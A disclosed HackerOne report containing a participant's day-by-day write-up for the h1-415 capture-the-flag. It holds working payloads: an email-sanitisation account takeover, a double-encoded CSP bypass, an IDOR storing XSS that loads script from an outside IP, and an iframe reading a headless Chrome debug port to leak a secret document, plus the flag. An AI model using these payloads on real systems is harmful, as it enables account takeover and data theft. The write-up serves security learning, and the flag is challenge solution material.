94

Spent a week and failed at solving the last step.

Share:

State	Resolved (Closed)
Disclosed	**February 4, 2020 5:47am +0530**
Reported To	**h1-ctf**
Asset	https://h1-415.h1ctf.com (Domain)
Weakness	Improper Access Control - Generic
Severity	Critical (9 ~ 10)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

s1r1u5 submitted a report to **h1-ctf**. Jan 23rd (4 months ago)

Summary:

I found something interesting with Headless chrome debugging in the last step, I am sure I am going to solve this after trying very hard for about a week, I don't know when this CTF is going to end, that's why I am submitting a summary of how to solve this so that I can write the full report after fully solving the final step.

1. ATO of jobert's account using jobert@mydocz.cosmic
2. CSP bypass using URL double encoding. `https://h1-415.h1ctf.com/support/chat?message=%3Cscript%20type=%22text/javascript%22%20src=%22https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/..%252f..%252f..%252f..%252f..%252fInvaders0/xss/81faa59004ebeee525502d38b302445be93a2131/as.js%22%3E%3C/script%3E`
3. IDOR to update the name at review. `http://localhost:3000/support/review/c9b46d365357148bcd2436bc5d7fc19f27268010e91cd271b6531f8dff6824dc`
4. Headless chrome debugging enabled (have to solve).

Impact

.

s1r1u5 posted a comment. Jan 23rd (4 months ago)

solved it.
flag.pdf (F693506) will write the report now :)

1 attachment:
F693506: flag.pdf

nahamsec HackerOne staff posted a comment. Jan 23rd (4 months ago)

We are closing submissions but feel free to finish your write up soon! :)

nahamsec HackerOne staff changed the status to **Triaged**. Jan 23rd (4 months ago)

s1r1u5 posted a comment. Jan 23rd (4 months ago)

Oh man, such a nice CTF I really enjoyed and learned a lot while solving this challenge. I started solving the challenge right away when hackerone tweeted about it, It literally took about a week to figure out the Jobert's doc and I nearly spent 11-14 hours a day.

The converter takes image and produces a pdf and whatever our name it will be reflected there. But there is an issue, the server sanitises the input, `<>{}` characters will be removed. Its clear that we have to some how abuse the converter which is a pdf generator and get the `Jobert's Doc`.

DAY 1

I did some content discovery and found that there is some blind xss in the support, but we can't access it so I thought that we need to find an account takeover vulnerability. Support is only accessible to user with license. I started thinking about the ways to ATO.

1. Issue in the session.
2. Account recover which looked quite obvious.

So with this in mind we spent whole day on finding the patterns between email, username, session and recover token, so that we can crack the session :)
Wrote a script to dump the data. I couldn't find anything interesting.
F693520

DAY 2 -- Bruteforcing flask SECRET_KEY

Same as 1st day, dumping whole bunch of data and finding patterns. No use at all, then started looking at issues like padding oracles, injections etc., At one point found that the session is flask session `eyJfY3NyZl90b2tlbiI6ImM3YmE0OWUwYTcxMDk1OWJkOTVhMTcxODhlZGY1NTQ1NzFjMzkyYjQifQ.XigzyA.-o92z8hDhn1wea3RKit03eXS8PE`, funnily started brute forcing the `SECRET_KEY` using `rockyou.txt` to forge session, obviously brute force failed. And started looking more at the recovery. What even funnier is, my assumption is that as the server resets for every hour so SECRET_KEY is taking randomly from the some kind of known word list, I tried bruteforce three resets, not on the server :).

DAY 3 ATO

I have a feeling that I even couldn't make the first level, but didn't stopped digging. I started fuzzing the email, and found that we can give special characters at the end, and what server does is if there are any special characters like `<>{}..` these will remove. With the previous recon we know that the `jobert@mydocz.cosmic` is the customer. So I register an account with ` `jobert@mydocz.cosmic<<<`, the server will remove the specail chars and give us a recovery token which is of form `jobert@mydocz.cosmic:hash`, with this token we can recover account of Jobert.

Customers of the application has extra feature called support, in that we can rate the support chat, if we give one star rating it shows `We're sorry about that. Our team will review this conversation shortly.`. Now, its quite obvious there is an blind xss in the support.

Day 4 CSP Bypass

After ATO of jobert's account, then the next step is to bypass CSP, it didn't take that much time to bypass, with bXSS at report page.

`X-Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/; img-src data: *`

To bypass the above policy only thing we can do is placing a js file at `https://github.com/mattboldt/typed.js/tree/master/lib/`, which we can't do unless and until we request the `mattboldt` to push js for us. If we can somehow traverse back to our github repo, and keeping this part `https://github.com/mattboldt/typed.js/tree/master/lib/` then CSP can be bypassed, so I tried double encoding and it worked like a charm like this `https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/..%252f..%252f..%252f..%252f..%252fInvaders0/xss/81faa59004ebeee525502d38b302445be93a2131/as.js`.

I extracted as much as possible information from the localhost of the server,

1. It's running on 3000 port
2. Bot is not logged in to any account
3. The review(bot's) location is here `http://localhost:3000/support/review/4ed48068429cffc81753d177e4b4409b5f1790d83678573ba040a198fda32edc`.
4. We can access review page `https://h1-415.h1ctf.com/support/review/4ed48068429cffc81753d177e4b4409b5f1790d83678573ba040a198fda32edc`
5. There is an option called update user in the review page, I tried updating Jobert's name with `user_id=2` it showed `Can't update user`.

Day 5 IDOR to Change user names of other users

The error says `Can't update user`, I thought can we update our user and also there is an user_id identifier in the settings page, then I made a request with my user_id, damn we can update other users and server is not sanitising the input. There is an XSS in pdf generator.

```
POST /support/review/a77cf9de605c84e0acc0d66ba0161cece87b607d53b85fbed17cf0cee10b849e HTTP/1.1
Host: h1-415.h1ctf.com
Connection: close
Content-Length: 119
Cache-Control: max-age=0
Origin: https://h1-415.h1ctf.com
Upgrade-Insecure-Requests: 1
```

```
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88
 Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Referer: https://h1-415.h1ctf.com/support/review/f19b5d11e2b584dd6cdb335afe411a261b1cdde2f183b54289fc7d761
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _csrf_token=44aed35ee13d1ae16aac1f8c6cb723a33a81d992; session=eyJfY3NyZl90b2tlbiI6IjQ0YWVkMzVlZTEz

name=<script src='http://165.22.213.110/a1.js'></script>&user_id=5&_csrf_token=44aed35ee13d1ae16aac1f8c6cb
```

The server resets every hour, creating a new user and getting the review location is a mess, so wrote a script which automates this register.py (F693607)

Day 6&7 Rabbit Holes every where

I literally failed solving this step and this is the final step of the CTF. These are things I have tried

1. Port scan with aquatone's and nmap's most used http ports `https://github.com/michenriksen/aquatone/blob/93c79694068733186878f50a545fa69f3dcec9ce/core/ports.go`
2. Tried to takeover `admin@mydocz.cosmic`. We cant takeover this account from the client side, I tried recovering the account using the same technique used for `Jobert's` account using XSS in pdf generator and BXSS. I failed at making the requests in localhost, you can see number of commits I did for this here https://github.com/Invaders0/xss.
3. Checked if there is any exploits are there for the Headless Chrome `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36`. Failed
4. Content Discovery at http://localhost/. Failed
5. Lot of other things etc.,

Meanwhile Hackerone released a hint

`🎇 THE LAST HINT FOR THE #h1415 CTF:

Have you asked the CTF support bot for Jobert's doc?

Maybe the user agent can tell you where to look next. 👨‍💻👩‍💻
`

After some time understanding the hint, I typed `Jobert's Doc` in the chat. It showed.

`I love flags! Where is yours? Wait... I think someone is converting top secret documents as we speak!`

I am like WHAT THE HECK IS THIS?

If we type `flag` or `Jobert's Doc` in the chat, the conversion of secret doc is happening in the backend.

Then I tried looking at the localStorage, nothing found.

Day 8

Last 2 hours before the challenge

I am made my mind that I can't solve this challenge.

But I installed Node.js Headless chrome and generated some pdfs, in the github page https://github.com/puppeteer/puppeteer I found there is an option called debug. I tried searching for puppeteer debug port and the port is `9222` which is not in the aquatone's list, seclist, nmap list. I am literally *********.
I did port scanning in the first place but I didn't do it properly.

Then I changed my username to `document.write('<iframe src="http://localhost:9222/" width="100%" height="200%"></iframe>');` this and something is running there its headless chrome debugging mode.

Stealing JOBERT's DOC*

Doing conversion with the below name

```
window.onload =  function () {
    document.write('<iframe src="http://localhost:9222/json/list" width="100%" height="100%"></iframe>');
};
```

and entering `flag` in the chat.

Resulted below data in the document.


```
, {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/E07921059A405434488F22AB366D12DA",
 "id": "E07921059A405434488F22AB366D12DA",
 "title": "My Docz Converter",
 "type": "page",
 "url": "http://localhost:3000/login?
secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf",
 "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/E07921059A405434488F22AB366D12DA"
}, {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/8881164BAC5870CC4C2B2768FE47276C",
 "id": "8881164BAC5870CC4C2B2768FE47276C",
 "title": "about:blank",
 "type": "page",
 "url": "about:blank",
 "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/8881164BAC5870CC4C2B2768FE47276C"
}, {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/3758C9CE2153E8B69D7250E7FFF221C2",
 "id": "3758C9CE2153E8B69D7250E7FFF221C2",
 "title": "about:blank",
 "type": "page",
 "url": "about:blank",
 "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/3758C9CE2153E8B69D7250E7FFF221C2"
}, {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/49553C3E9C52C1F9A0C1228A6A5739FF",
 "id": "49553C3E9C52C1F9A0C1228A6A5739FF",
 "title": "about:blank",
 "type": "page",
 "url": "about:blank",
 "webSocketDe
```


And finally here is the flag

https://h1-415.h1ctf.com/documents/secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf

```
h1ctf{y3s_1m_c0sm1c_n0w}
```

HELL OF A RIDE

TRYHARDER

2 attachments:

F693607: register.py

F693604: Screenshot_from_2020-01-23_13-23-26.png

nahamsec HackerOne staff posted a comment. Jan 23rd (4 months ago)

Hey there,

Just a quick reminder to not post any writeups online until we announce the winners and request disclosure on your submission.

Thanks!

nahamsec HackerOne staff posted a comment. Jan 31st (4 months ago)

Hello Hackers!

I just wanted to update everyone that we are in the process of selecting our winners. We should have an announcement out early next week!
Thank you for your patience and happy hacking!

nahamsec HackerOne staff closed the report and changed the status to o **Resolved**. Feb 4th (4 months ago)

nahamsec HackerOne staff requested to disclose this report. Feb 4th (4 months ago)

s1r1u5 agreed to disclose this report. Feb 4th (4 months ago)

This report has been disclosed. Feb 4th (4 months ago)